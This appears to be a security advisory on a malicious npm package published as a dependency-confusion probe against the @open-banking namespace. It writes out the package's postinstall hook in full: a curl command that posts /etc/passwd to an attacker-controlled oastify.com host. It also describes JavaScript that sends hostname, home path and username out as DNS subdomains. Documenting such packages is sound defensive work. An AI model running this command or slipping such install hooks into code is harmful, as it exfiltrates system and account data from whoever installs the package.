GCVE-110-OSM-2026-5131

Exfiltrates system reconnaissance data and /etc/passwd contents to attacker-controlled OAST infrastructure via dual postinstall paths. The JavaScript payload hex-encodes hostname, home directory path, and username and sends each as DNS subdomains to nmd25sur8sjp60lm75dp67e2gtmkaayz.oastify.com via fetch(). Simultaneously, a shell command POSTs the full /etc/passwd file to 200hj786m7x4kfz1lkr4kmshu80zoqcf.oastify.com via curl. Published at version 999.9.5 as a dependency confusion probe targeting the @open-banking internal namespace. **Trigger** (`postinstall`): executes `node scripts/scream3gg.js && /usr/bin/curl --data '@/etc/passwd' $(hostname).200hj786m7x4kfz1lkr4kmshu80zoqcf.oastify.com` at install time. **JS path** (`scripts/scream3gg.js`): collects `os.hostname()`, `os.homedir()`, and `os.userInfo().username`; encodes each value with a `stringToHex()` function; sends each as a DNS subdomain label to `nmd25sur8sjp60lm75dp67e2gtmkaayz.oastify.com` via `fetch()` (confirmed at scream3gg.js:14). **Shell path**: executes `/usr/bin/curl --data '@/etc/passwd'` sending the full contents of `/etc/passwd` as the HTTP POST body to `$(hostname).200hj786m7x4kfz1lkr4kmshu80zoqcf.oastify.com`, keying the destination subdomain by the victim's hostname. **Version signal**: inflated version `999.9.5` is the canonical dependency confusion probe pattern.